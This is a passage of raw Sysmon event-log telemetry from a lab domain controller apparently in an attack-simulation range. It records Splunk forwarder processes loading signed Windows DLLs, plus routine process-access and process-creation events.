Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000054113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000054110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000054105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.948{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000054098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.500{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000054097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.500{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.500{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000054095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.300{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.300{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.300{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.300{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.300{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.300{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.300{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.300{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 